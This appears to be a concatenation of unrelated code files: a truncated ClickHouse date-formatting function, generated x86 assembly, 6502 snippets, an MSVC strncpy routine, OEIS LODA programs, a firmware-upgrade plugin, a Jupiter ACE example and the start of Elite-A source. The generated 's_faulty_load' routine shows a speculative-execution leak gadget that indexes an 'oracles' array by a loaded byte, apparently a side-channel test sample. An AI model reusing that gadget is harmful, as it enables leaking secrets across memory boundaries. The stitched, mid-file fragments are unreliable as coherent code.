result) && !executeType<DataTypeDateTime64>(block, arguments, result)) throw Exception("Illegal column " + block.getByPosition(arguments[0]).column->getName() + " of function " + getName() + ", must be Date or DateTime", ErrorCodes::ILLEGAL_COLUMN); } template <typename DataType> bool executeType(Block & block, const ColumnNumbers & arguments, size_t result) { auto * times = checkAndGetColumn<typename DataType::ColumnType>(block.getByPosition(arguments[0]).column.get()); if (!times) return false; const ColumnConst * pattern_column = checkAndGetColumnConst<ColumnString>(block.getByPosition(arguments[1]).column.get()); if (!pattern_column) throw Exception("Illegal column " + block.getByPosition(arguments[1]).column->getName() + " of second ('format') argument of function " + getName() + ". Must be constant string.", ErrorCodes::ILLEGAL_COLUMN); String pattern = pattern_column->getValue<String>(); using T = typename ActionaValueTypeMap<DataType>::ActionValueType; std::vector<Action<T>> instructions; String pattern_to_fill = parsePattern(pattern, instructions); size_t result_size = pattern_to_fill.size(); const DateLUTImpl * time_zone_tmp = nullptr; if (std::is_same_v<DataType, DataTypeDateTime64> || std::is_same_v<DataType, DataTypeDateTime>) time_zone_tmp = &extractTimeZoneFromFunctionArguments(block, arguments, 2, 0); else time_zone_tmp = &DateLUT::instance(); const DateLUTImpl & time_zone = *time_zone_tmp; const auto & vec = times->getData(); UInt32 scale [[maybe_unused]] = 0; if constexpr (std::is_same_v<DataType, DataTypeDateTime64>) { scale = vec.getScale(); } auto col_res = ColumnString::create(); auto & dst_data = col_res->getChars(); auto & dst_offsets = col_res->getOffsets(); dst_data.resize(vec.size() * (result_size + 1)); dst_offsets.resize(vec.size()); /// Fill result with literals. { UInt8 * begin = dst_data.data(); UInt8 * end = begin + dst_data.size(); UInt8 * pos = begin; if (pos < end) { memcpy(pos, pattern_to_fill.data(), result_size + 1); /// With zero terminator. pos += result_size + 1; } /// Fill by copying exponential growing ranges. while (pos < end) { size_t bytes_to_copy = std::min(pos - begin, end - pos); memcpy(pos, begin, bytes_to_copy); pos += bytes_to_copy; } } auto * begin = reinterpret_cast<char *>(dst_data.data()); auto * pos = begin; for (size_t i = 0; i < vec.size(); ++i) { if constexpr (std::is_same_v<DataType, DataTypeDateTime64>) { for (auto & instruction : instructions) { // since right now LUT does not support Int64-values and not format instructions for subsecond parts, // treat DatTime64 values just as DateTime values by ignoring fractional and casting to UInt32. const auto c = DecimalUtils::split(vec[i], scale); instruction.perform(pos, static_cast<UInt32>(c.whole), time_zone); } } else { for (auto & instruction : instructions) instruction.perform(pos, vec[i], time_zone); } dst_offsets[i] = pos - begin; } dst_data.resize(pos - begin); block.getByPosition(result).column = std::move(col_res); return true; } template <typename T> String parsePattern(const String & pattern, std::vector<Action<T>> & instructions) const { String result; const char * pos = pattern.data(); const char * end = pos + pattern.size(); /// Add shift to previous action; or if there were none, add noop action with shift. auto add_shift = [&](size_t amount) { if (instructions.empty()) instructions.emplace_back(&Action<T>::noop); instructions.back().shift += amount; }; /// If the argument was DateTime, add instruction for printing. If it was date, just shift (the buffer is pre-filled with default values). auto add_instruction_or_shift = [&](typename Action<T>::Func func [[maybe_unused]], size_t shift) { if constexpr (std::is_same_v<T, UInt32>) instructions.emplace_back(func, shift); else add_shift(shift); }; while (true) { const char * percent_pos = find_first_symbols<'%'>(pos, end); if (percent_pos < end) { if (pos < percent_pos) { result.append(pos, percent_pos); add_shift(percent_pos - pos); } pos = percent_pos + 1; if (pos >= end) throw Exception("Sign '%' is the last in pattern, if you need it, use '%%'", ErrorCodes::BAD_ARGUMENTS); switch (*pos) { // Year, divided by 100, zero-padded case 'C': instructions.emplace_back(&Action<T>::century, 2); result.append("00"); break; // Day of month, zero-padded (01-31) case 'd': instructions.emplace_back(&Action<T>::dayOfMonth, 2); result.append("00"); break; // Short MM/DD/YY date, equivalent to %m/%d/%y case 'D': instructions.emplace_back(&Action<T>::americanDate, 8); result.append("00/00/00"); break; // Day of month, space-padded ( 1-31) 23 case 'e': instructions.emplace_back(&Action<T>::dayOfMonthSpacePadded, 2); result.append(" 0"); break; // Short YYYY-MM-DD date, equivalent to %Y-%m-%d 2001-08-23 case 'F': instructions.emplace_back(&Action<T>::ISO8601Date, 10); result.append("0000-00-00"); break; // Day of the year (001-366) 235 case 'j': instructions.emplace_back(&Action<T>::dayOfYear, 3); result.append("000"); break; // Month as a decimal number (01-12) case 'm': instructions.emplace_back(&Action<T>::month, 2); result.append("00"); break; // ISO 8601 weekday as number with Monday as 1 (1-7) case 'u': instructions.emplace_back(&Action<T>::dayOfWeek, 1); result.append("0"); break; // ISO 8601 week number (01-53) case 'V': instructions.emplace_back(&Action<T>::ISO8601Week, 2); result.append("00"); break; // Weekday as a decimal number with Sunday as 0 (0-6) 4 case 'w': instructions.emplace_back(&Action<T>::dayOfWeek0To6, 1); result.append("0"); break; // Two digits year case 'y': instructions.emplace_back(&Action<T>::year2, 2); result.append("00"); break; // Four digits year case 'Y': instructions.emplace_back(&Action<T>::year4, 4); result.append("0000"); break; /// Time components. If the argument is Date, not a DateTime, then this components will have default value. // Minute (00-59) case 'M': add_instruction_or_shift(&Action<T>::minute, 2); result.append("00"); break; // AM or PM case 'p': add_instruction_or_shift(&Action<T>::AMPM, 2); result.append("AM"); break; // 24-hour HH:MM time, equivalent to %H:%M 14:55 case 'R': add_instruction_or_shift(&Action<T>::hhmm24, 5); result.append("00:00"); break; // Seconds case 'S': add_instruction_or_shift(&Action<T>::second, 2); result.append("00"); break; // ISO 8601 time format (HH:MM:SS), equivalent to %H:%M:%S 14:55:02 case 'T': add_instruction_or_shift(&Action<T>::ISO8601Time, 8); result.append("00:00:00"); break; // Hour in 24h format (00-23) case 'H': add_instruction_or_shift(&Action<T>::hour24, 2); result.append("00"); break; // Hour in 12h format (01-12) case 'I': add_instruction_or_shift(&Action<T>::hour12, 2); result.append("12"); break; /// Escaped literal characters. case '%': result += '%'; add_shift(1); break; case 't': result += '\t'; add_shift(1); break; case 'n': result += '\n'; add_shift(1); break; // Unimplemented case 'U': [[fallthrough]]; case 'W': throw Exception("Wrong pattern '" + pattern + "', symbol '" + *pos + " is not implemented ' for function " + getName(), ErrorCodes::NOT_IMPLEMENTED); default: throw Exception( "Wrong pattern '" + pattern + "', unexpected symbol '" + *pos + "' for function " + getName(), ErrorCodes::ILLEGAL_COLUMN); } ++pos; } else { result.append(pos, end); add_shift(end + 1 - pos); /// including zero terminator break; } } return result; } }; void registerFunctionFormatDateTime(FunctionFactory & factory) { factory.registerFunction<FunctionFormatDateTime>(); } }
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r9 push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_WT_ht+0x16741, %rsi lea addresses_A_ht+0x21fd, %rdi and $48749, %r13 mov $119, %rcx rep movsw nop cmp $19932, %rdx lea addresses_WT_ht+0x3c55, %rsi lea addresses_UC_ht+0x6e81, %rdi nop nop xor $29619, %r9 mov $30, %rcx rep movsl nop nop nop and $6160, %r13 lea addresses_D_ht+0xe331, %rsi nop nop nop nop nop cmp $26804, %r11 movb (%rsi), %cl nop nop nop dec %rsi lea addresses_WT_ht+0x1d5c1, %rsi lea addresses_UC_ht+0x1afb1, %rdi nop nop nop nop add %rbp, %rbp mov $12, %rcx rep movsb nop nop nop cmp $19927, %rbp lea addresses_WC_ht+0x13901, %rsi lea addresses_A_ht+0xb001, %rdi nop nop nop nop dec %r13 mov $1, %rcx rep movsb nop nop nop nop add %rbp, %rbp lea addresses_D_ht+0x19d81, %rdx sub $30245, %r13 mov (%rdx), %cx xor $18895, %rdx lea addresses_UC_ht+0xd061, %rsi lea addresses_A_ht+0x1901, %rdi and $16068, %r13 mov $97, %rcx rep movsw nop nop xor $28428, %r9 lea addresses_A_ht+0x2bdb, %rsi lea addresses_WC_ht+0x14581, %rdi nop nop nop nop sub %rdx, %rdx mov $116, %rcx rep movsq cmp $19185, %rsi lea addresses_WC_ht+0xb01, %rsi lea addresses_D_ht+0x1d901, %rdi nop nop nop sub %rdx, %rdx mov $63, %rcx rep movsl nop nop nop nop nop cmp %rbp, %rbp lea addresses_WC_ht+0x8f01, %rdi nop xor $797, %rbp movb $0x61, (%rdi) nop nop nop nop nop add $8672, %rbp lea addresses_WT_ht+0x3301, %r9 nop nop nop nop nop inc %rdx movl $0x61626364, (%r9) nop and $26428, %rsi lea addresses_A_ht+0xc581, %rsi cmp %rdi, %rdi mov (%rsi), %r11d nop nop cmp %r13, %r13 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r9 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r12 push %r14 push %r8 push %rbx push %rcx push %rdi push %rsi // REPMOV lea addresses_A+0x3551, %rsi lea addresses_US+0x1aa81, %rdi nop nop nop nop cmp %rbx, %rbx mov $22, %rcx rep movsb nop nop xor $48984, %rbx // Faulty Load lea addresses_US+0x1e501, %rbx inc %r8 vmovups (%rbx), %ymm7 vextracti128 $0, %ymm7, %xmm7 vpextrq $1, %xmm7, %rcx lea oracles, %r12 and $0xff, %rcx shlq $12, %rcx mov (%r12,%rcx,1), %rcx pop %rsi pop %rdi pop %rcx pop %rbx pop %r8 pop %r14 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_US'}, 'OP': 'LOAD'} {'src': {'congruent': 4, 'same': False, 'type': 'addresses_A'}, 'OP': 'REPM', 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_US'}} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 32, 'NT': False, 'type': 'addresses_US'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'congruent': 6, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_A_ht'}} {'src': {'congruent': 1, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_UC_ht'}} {'src': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 3, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_UC_ht'}} {'src': {'congruent': 6, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_A_ht'}} {'src': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 3, 'same': True, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_A_ht'}} {'src': {'congruent': 1, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_WC_ht'}} {'src': {'congruent': 7, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 10, 'same': False, 'type': 'addresses_D_ht'}} {'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': True, 'same': True, 'size': 1, 'NT': False, 'type': 'addresses_WC_ht'}} {'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_WT_ht'}} {'src': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'} {'00': 173} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
.include "monitor.h" .segment "BSS" .segment "CODE0" .org $0000 ;jsr monitor .segment "VECTORS" .word $4000 .word $4000 .word $4000
eor ({z1}),y beq !+ lda #1 !: eor #1
page ,132 title strncpy - copy at most n characters of string ;*** ;strncpy.asm - copy at most n characters of string ; ; Copyright (c) 1985-2001, Microsoft Corporation. All rights reserved. ; ;Purpose: ; defines strncpy() - copy at most n characters of string ; ;Revision History: ; 10-25-83 RN initial version ; 05-18-88 SJM Add model-independent (large model) ifdef ; 08-04-88 SJM convert to cruntime/ add 32-bit support ; 08-23-88 JCR 386 cleanup ; 10-26-88 JCR General cleanup for 386-only code ; 10-26-88 JCR Re-arrange regs to avoid push/pop ebx ; 03-23-90 GJF Changed to _stdcall. Also, fixed the copyright. ; 05-10-91 GJF Back to _cdecl, sigh... ; 12-20-96 GJF Faster version from Intel. ; 06-12-01 PML inc->add 1, dec->sub 1 for Pentium 4 perf (vs7#267015) ; ;******************************************************************************* .xlist include cruntime.inc .list page ;*** ;char *strncpy(dest, source, count) - copy at most n characters ; ;Purpose: ; Copies count characters from the source string to the ; destination. If count is less than the length of source, ; NO NULL CHARACTER is put onto the end of the copied string. ; If count is greater than the length of sources, dest is padded ; with null characters to length count. ; ; Algorithm: ; char * ; strncpy (dest, source, count) ; char *dest, *source; ; unsigned count; ; { ; char *start = dest; ; ; while (count && (*dest++ = *source++)) ; count--; ; if (count) ; while (--count) ; *dest++ = '\0'; ; return(start); ; } ; ;Entry: ; char *dest - pointer to spot to copy source, enough space ; is assumed. ; char *source - source string for copy ; unsigned count - characters to copy ; ;Exit: ; returns dest, with the character copied there. ; ;Uses: ; ;Exceptions: ; ;******************************************************************************* CODESEG public strncpy strncpy proc .FPO ( 0, 3, 0, 0, 0, 0 ) mov ecx,[esp + 0ch] ; ecx = count push edi ; preserve edi test ecx,ecx jz finish ; leave if count is zero push esi ; preserve edi push ebx ; preserve ebx mov ebx,ecx ; store count for tail loop mov esi,[esp + 14h] ; esi -> source string test esi,3 ; test if source string is aligned on 32 bits mov edi,[esp + 10h] ; edi -> dest string jnz short src_misaligned ; (almost always source is aligned) shr ecx,2 ; convert ecx to dword count jnz main_loop_entrance jmp short copy_tail_loop ; 0 < count < 4 ; simple byte loop until string is aligned src_misaligned: mov al,byte ptr [esi] ; copy a byte from source to dest add esi,1 mov [edi],al add edi,1 sub ecx,1 jz fill_tail_end1 ; if count == 0, leave test al,al ; was last copied byte zero? jz short align_dest ; if so, go align dest and pad it out ; with zeros test esi,3 ; esi already aligned ? jne short src_misaligned mov ebx,ecx ; store count for tail loop shr ecx,2 jnz short main_loop_entrance tail_loop_start: and ebx,3 ; ebx = count_before_main_loop%4 jz short fill_tail_end1 ; if ebx == 0 then leave without ; appending a null byte ; while ( EOS (end-of-string) not found and count > 0 ) copy bytes copy_tail_loop: mov al,byte ptr [esi] ; load byte from source add esi,1 mov [edi],al ; store byte to dest add edi,1 test al,al ; EOS found? je short fill_tail_zero_bytes ; '\0' was already copied sub ebx,1 jnz copy_tail_loop fill_tail_end1: mov eax,[esp + 10h] ; prepare return value pop ebx pop esi pop edi ret ; EOS found. Pad with null characters to length count align_dest: test edi,3 ; dest string aligned? jz dest_align_loop_end dest_align_loop: mov [edi],al add edi,1 sub ecx,1 ; count == 0? jz fill_tail_end ; if so, finished test edi,3 ; is edi aligned ? jnz dest_align_loop dest_align_loop_end: mov ebx,ecx ; ebx > 0 shr ecx,2 ; convert ecx to count of dwords jnz fill_dwords_with_EOS ; pad tail bytes finish_loop: ; 0 < ebx < 4 mov [edi],al add edi,1 fill_tail_zero_bytes: sub ebx,1 jnz finish_loop pop ebx pop esi finish: mov eax,[esp + 8] ; return in eax pointer to dest string pop edi ret ; copy (source) string to (dest). Also look for end of (source) string main_loop: ; edx contains first dword of source string mov [edi],edx ; store one more dword add edi,4 ; kick dest pointer sub ecx,1 jz tail_loop_start main_loop_entrance: mov edx,7efefeffh mov eax,dword ptr [esi] ; read 4 bytes (dword) add edx,eax xor eax,-1 xor eax,edx mov edx,[esi] ; it's in cache now add esi,4 ; kick dest pointer test eax,81010100h je short main_loop ; may have found zero byte in the dword test dl,dl ; is it byte 0 je short byte_0 test dh,dh ; is it byte 1 je short byte_1 test edx,00ff0000h ; is it byte 2 je short byte_2 test edx,0ff000000h ; is it byte 3 jne short main_loop ; taken if bits 24-30 are clear and bit ; 31 is set ; a null character was found, so dest needs to be padded out with null chars ; to count length. mov [edi],edx jmp short fill_with_EOS_dwords byte_2: and edx,0ffffh ; fill high 2 bytes with 0 mov [edi],edx jmp short fill_with_EOS_dwords byte_1: and edx,0ffh ; fill high 3 bytes with 0 mov [edi],edx jmp short fill_with_EOS_dwords byte_0: xor edx,edx ; fill whole dword with 0 mov [edi],edx ; End of string was found. Pad out dest string with dwords of 0 fill_with_EOS_dwords: ; ecx > 0 (ecx is dword counter) add edi,4 xor eax,eax ; it is instead of ??????????????????? sub ecx,1 jz fill_tail ; we filled all dwords fill_dwords_with_EOS: xor eax,eax fill_with_EOS_loop: mov [edi],eax add edi,4 sub ecx,1 jnz short fill_with_EOS_loop fill_tail: ; let's pad tail bytes with zero and ebx,3 ; ebx = ebx % 4 jnz finish_loop ; taken, when there are some tail bytes fill_tail_end: mov eax,[esp + 10h] pop ebx pop esi pop edi ret strncpy endp end
; A284621: Positions of 0 in A284620. ; 1,5,11,15,21,27,31,37,41,47,53,57,63,69,73,79,83,89,95,99,105,109,115,121,125,131,137,141,147,151,157,163,167,173,179,183,189,193,199,205,209,215,219,225,231,235,241,247,251,257,261,267,273,277,283,287,293,299,303,309,315,319,325,329,335,341,345,351,357,361,367,371,377,383,387,393,397,403,409,413,419,425,429,435,439,445,451,455,461,467,471,477,481,487,493,497,503,507,513,519,523,529,535,539,545,549,555,561,565,571,575,581,587,591,597,603,607,613,617,623,629,633,639,645,649,655,659,665,671,675,681,685,691,697,701,707,713,717,723,727,733,739,743,749,753,759,765,769,775,781,785,791,795,801,807,811,817,823,827,833,837,843,849,853,859,863,869,875,879,885,891,895,901,905,911,917,921,927,933,937,943,947,953,959,963,969,973,979,985,989,995,1001,1005,1011,1015,1021,1027,1031,1037,1041,1047,1053,1057,1063,1069,1073,1079,1083,1089,1095,1099,1105,1111,1115,1121,1125,1131,1137,1141,1147,1151,1157,1163,1167,1173,1179,1183,1189,1193,1199,1205,1209,1215,1221,1225,1231,1235,1241,1247,1251,1257,1261,1267,1273,1277,1283,1289,1293,1299,1303 mov $4,$0 mov $5,$0 pow $0,2 lpb $0,1 add $0,3 add $5,2 sub $0,$5 trn $0,2 mov $3,$5 sub $3,2 lpe add $3,3 mov $1,$3 sub $1,2 mov $2,$4 mul $2,3 add $1,$2
#include "FirmwareControl.h" namespace WPEFramework { namespace Plugin { SERVICE_REGISTRATION(FirmwareControl, 1, 0); /* virtual */ const string FirmwareControl::Initialize(PluginHost::IShell* service) { ASSERT(service != nullptr); Config config; config.FromString(service->ConfigLine()); if (config.Source.IsSet() == true) { _source = config.Source.Value(); TRACE_L1("Source location : [%s]\n", _source.c_str()); } if (config.Download.IsSet() == true) { _destination = config.Download.Value() + "/" + Name; TRACE_L1("Destination location : [%s]\n", _destination.c_str()); } if (config.WaitTime.IsSet() == true) { _waitTime = config.WaitTime.Value(); } return (string()); } /* virtual */ void FirmwareControl::Deinitialize(PluginHost::IShell* service) { ASSERT(service != nullptr); } /* virtual */ string FirmwareControl::Information() const { // No additional info to report. return (string()); } uint32_t FirmwareControl::Schedule(const std::string& name, const std::string& path, const FirmwareControl::Type& type, const uint16_t& interval, const std::string& hash) { TRACE(Trace::Information, (string(__FUNCTION__))); if (path.empty() != true) { _source = path + "/" + name; } _adminLock.Lock(); _type = type; _interval = interval; _hash = hash; _upgrader.Schedule(); _adminLock.Unlock(); return Core::ERROR_NONE; } void FirmwareControl::Upgrade() { TRACE(Trace::Information, (string(__FUNCTION__))); uint32_t status = Download(); if (status == Core::ERROR_NONE && (Status() != UpgradeStatus::UPGRADE_CANCELLED)) { Install(); } } void FirmwareControl::Install() { TRACE(Trace::Information, (string(__FUNCTION__))); //Setup callback handler; mfrUpgradeStatusNotify_t mfrNotifier; mfrNotifier.cbData = reinterpret_cast<void*>(this); mfrNotifier.interval = static_cast<int>(_interval); mfrNotifier.cb = Callback; // Initiate image install mfrError_t mfrStatus = mfrWriteImage(Name, _destination.c_str(), static_cast<mfrImageType_t>(_type), mfrNotifier); if (mfrERR_NONE != mfrStatus) { Status(UpgradeStatus::INSTALL_ABORTED, ConvertMfrStatusToCore(mfrStatus), 0); } else { Status(UpgradeStatus::INSTALL_STARTED, ErrorType::ERROR_NONE, 0); uint32_t status = WaitForCompletion(_waitTime); // To avoid hang situation if (status != Core::ERROR_NONE) { Status(UpgradeStatus::INSTALL_ABORTED, Core::ERROR_TIMEDOUT, 0); } else { _adminLock.Lock(); mfrUpgradeStatus_t installStatus = _installStatus; _adminLock.Unlock(); UpgradeStatus upgradeStatus = ConvertMfrWriteStatusToUpgradeStatus(installStatus.progress); TRACE(Trace::Information, (_T("Installation Completed with status :%s\n"), Core::EnumerateType<JsonData::FirmwareControl::StatusType>(upgradeStatus).Data())); Status(upgradeStatus, ConvertMfrWriteErrorToUpgradeType(installStatus.error), installStatus.percentage); } } TRACE(Trace::Information, (string(__FUNCTION__))); } uint32_t FirmwareControl::Download() { TRACE(Trace::Information, (string(__FUNCTION__))); Notifier notifier(this); PluginHost::DownloadEngine downloadEngine(&notifier, _destination); uint32_t status = downloadEngine.Start(_source, _destination, _hash); if ((status == Core::ERROR_NONE) || (status == Core::ERROR_INPROGRESS)) { Status(UpgradeStatus::DOWNLOAD_STARTED, status, 0); status = WaitForCompletion(_waitTime); if ((status == Core::ERROR_NONE) && (DownloadStatus() == Core::ERROR_NONE)) { Status(UpgradeStatus::DOWNLOAD_COMPLETED, ErrorType::ERROR_NONE, 0); } else { status = ((status != Core::ERROR_NONE)? status: DownloadStatus()); Status(UpgradeStatus::DOWNLOAD_ABORTED, status, 0); } } else { Status(UpgradeStatus::DOWNLOAD_ABORTED, status, 0); } TRACE(Trace::Information, (string(__FUNCTION__))); return status; } } // namespace Plugin } // namespace WPEFramework
#!/usr/local/bin/zasm -o original/ ; ================================================================ ; Example source for target 'ace' ; Emulator snapshot format for Jupiter ACE ; Copyright (c) Günter Woigk 1994 - 2015 ; mailto:kio@little-bat.de ; ================================================================ ; ; space is filled with 0x00 ; #segments have no additional argument ; ram size should total to 3k, 19k or 35k. ; ; the .ace file stores ram as seen by the CPU, which means, it also stores page echoes: ; ; $2000 copy of video ram ; $2400 video ram ; $2800 copy of character ram ; $2C00 character ram ; $3000 1st copy of built-in programme ram ; $3400 2nd copy of built-in programme ram ; $3800 3rd copy of built-in programme ram ; $3C00 built-in programme ram ; $4000++ expansion ram ; ; The page copies are blanked-out. ; The Z80 registers are saved in the VRAM echo page at $2000. ramsize equ 3 * 1024 ; legal values: 3K, 3+16K, or 3+32K ramtop equ $3400+ramsize ; Ramtop: $4000 (3K), $8000(19K), $C000(35K) #target ace ; ______________________________________________________________ ; ram at $2000 ; 1k echo of video ram; fast access for CPU ; always saved as all-zero ; except for ; $2000-$2148: ACE32 settings and Z80 registers #code VRAM_COPY, $2000, $400 ; Flag: .long $8001 ; ? ; ACE32 settings: org $2080 .long ramtop ; Ramtop .long 0 ; Debugger Data Address .long 0 ; Debugger Breakpoint Address .long 3 ; Frame Skip Rate (3) .long 3 ; Frames per TV Tick (3) .long $FDFD ; ? .long 100 ; Time emulator is running (probably in ms) .long 0 ; Emulator Colour: white on Black #assert $ == $20a0 ; Z80 Registers: org $2100 db 1,2,0,0 ; F, A .long $10 ; BC .long $20 ; DE .long $30 ; HL .long $40 ; IX .long $50 ; IY .long ramtop ; SP .long progstart ; PC db 3,4,0,0 ; F', A' .long $60 ; BC' .long $70 ; DE' .long $80 ; HL' .long 1 ; IM .long 1 ; IFF1 .long 1 ; IFF1 .long 5 ; I .long 6 ; R .long $80 ; ? #assert $ == $2100 + 18*4 ; ______________________________________________________________ ; ram at $2400 ; 1k video ram ; 24 rows * 32 chars + 256 bytes scratch #code VRAM, $2400, $400 dm "Hello World! ;-)" ; ______________________________________________________________ ; ram at $2800 ; 1k echo of character ram, fast access for CPU ; always saved as all-zero #code CRAM_COPY, $2800, $400 ; ______________________________________________________________ ; ram at $2C00 ; 1k character ram #code CRAM, $2C00, $400 #insert "jupiter_ace_character_ram.bin" ; ______________________________________________________________ ; ram at $3000, $3400, and $3800 ; 3 echoes of built-in 1k programme ram ; always saved as all-zero #code RAM_COPIES, $3000, $C00 ; ______________________________________________________________ ; ram at $3C00 ; $3C00 - $3FFF built-in programme ram ; $4000++ expansion ram #code SYSVARS, 0x3C00, 0x40 FP_WS ds 19 ; $3C00 (15360) 19 bytes used as work space for floating point arithmetic. LISTWS ds 5 ; $3C13 (15379) 5 bytes used as workspace by 'LIST' and 'EDIT'. RAMTOP dw 0 ; $3C18 (15384) the first address past the last address in RAM. HLD dw 0 ; $3C1A (15386) The address of the latest character held in the pad by formatted output. SCRPOS dw 0 ; $3C1C (15388) The address of the place in video RAM where the next character is to be printed INSCRN dw 0 ; $3C1E (15390) The address of the start of the current 'logical line' in the input buffer. CURSOR dw 0 ; $3C20 (15392) The address of the cursor in the input buffer. ENDBUF dw 0 ; $3C22 (15394) The address of the end of the current logical line in the input buffer. L_HALF dw 0 ; $3C24 (15396) The address of the start of the the input buffer. KEYCOD db 0 ; $3C26 (15398) The ASCII code of the last key pressed. KEYCNT db 0 ; $3C27 (15399) Used by the routine that reads the keyboard. STATIN db 0 ; $3C28 (15400) Used by the routine that reads the keyboard. EXWRCH dw 0 ; $3C29 (15401) This is normally 0 but it can be changed to print to some other device. FRAMES dw 0,0 ; $3C2B (15403) time since the Ace was started. XCOORD db 0 ; $3C2F (15407) The x-coordinate last used by 'PLOT'. YCOORD db 0 ; $3C30 (15408) The y-coordinate last used by 'PLOT'. CURRENT dw 0 ; $3C31 (15409) The parameter field address for the vocabulary word of the current vocabulary. CONTEXT dw 0 ; $3C33 (15411) The parameter field address for the vocabulary word of the context vocabulary. VOCLNK dw 0 ; $3C35 (15413) The address of the fourth byte in the parameter field - the vocabulary linkage - STKBOT dw 0 ; $3C37 (15415) The address of the next byte into which anything will be enclosed in the DICT dw 0 ; $3C39 (15417) The address of the length field in the newest word in the dictionary. SPARE dw 0 ; $3C3B (15419) The address of the first byte past the top of the stack. ERR_NO db 0 ; $3C3D (15421) This is usually 255, meaning "no error". FLAGS db 0 ; $3C3E (15422) Shows the state of various parts of the system. BASE db 0 ; $3C3F (15423) The system number base. #code RAM, $3C40, ramsize - $840 progstart: jp $ ; insert your programme here
; A199755: 5*11^n+1. ; 6,56,606,6656,73206,805256,8857806,97435856,1071794406,11789738456,129687123006,1426558353056,15692141883606,172613560719656,1898749167916206,20886240847078256,229748649317860806,2527235142496468856,27799586567461157406,305795452242072731456,3363749974662800046006,37001249721290800506056,407013746934198805566606,4477151216276186861232656,49248663379038055473559206,541735297169418610209151256,5959088268863604712300663806,65549970957499651835307301856,721049680532496170188380320406 mov $1,11 pow $1,$0 mul $1,10 div $1,4 add $1,1 mul $1,2 mov $0,$1
\ ****************************************************************************** \ \ ELITE-A SHIP BLUEPRINTS FILE T \ \ Elite-A is an extended version of BBC Micro Elite by Angus Duggan \ \ The original Elite was written by Ian Bell and David Braben and is copyright \ Acornsoft 1984, and the extra code in Elite-A is copyright Angus Duggan \ \ The code on this site is identical to Angus Duggan's source discs (it's just \ been reformatted, and the label names have been changed to be consistent with \ the sources for the original BBC Micro disc version on which it is based) \ \ The commentary is copyright Mark Moxon, and any misunderstandings or mistakes \ in the documentation are entirely my fault \ \ The terminology and notations used in this commentary are explained at \ https://www.bbcelite.com/about_site/terminology_used_in_this_commentary.html \ \ The deep dive articles referred to in this commentary can be found at \ https://www.bbcelite.com/deep_dives \ \ ------------------------------------------------------------------------------ \ \ This source file produces the following binary file: \ \ * S.T.bin \ \ ****************************************************************************** INCLUDE "1-source-files/main-sources/elite-header.h.asm" _RELEASED = (_RELEASE = 1) _SOURCE_DISC = (_RELEASE = 2) _BUG_FIX = (_RELEASE = 3) GUARD &6000 \ Guard against assembling over screen memory \ ****************************************************************************** \ \ Configuration variables \ \ ****************************************************************************** SHIP_MISSILE = &7F00 \ The address of the missile ship blueprint CODE% = &5600 \ The flight code loads this file at address &5600, at LOAD% = &5600 \ label XX21 ORG CODE% \ ****************************************************************************** \ \ Name: XX21 \ Type: Variable \ Category: Drawing ships \ Summary: Ship blueprints lookup table for the S.T file \ Deep dive: Ship blueprints in Elite-A \ \ ****************************************************************************** .XX21 EQUW SHIP_MISSILE \ MSL = 1 = Missile Missile EQUW SHIP_DODO \ 2 = Dodo space station Station EQUW SHIP_ESCAPE_POD \ ESC = 3 = Escape pod Escape pod EQUW SHIP_PLATE \ PLT = 4 = Alloy plate Cargo EQUW SHIP_CANISTER \ OIL = 5 = Cargo canister Cargo EQUW 0 \ Mining EQUW 0 \ Mining EQUW 0 \ Mining EQUW SHIP_SHUTTLE_MK_2 \ SHU = 9 = Shuttle Mk II Shuttle EQUW 0 \ Transporter EQUW SHIP_COBRA_MK_3 \ 11 = Cobra Mk III Trader EQUW 0 \ Trader EQUW SHIP_IGUANA \ 13 = Iguana Trader EQUW 0 \ Large ship EQUW 0 \ Small ship EQUW SHIP_VIPER \ COPS = 16 = Viper Cop EQUW SHIP_KRAIT \ 17 = Krait Pirate EQUW 0 \ Pirate EQUW 0 \ Pirate EQUW 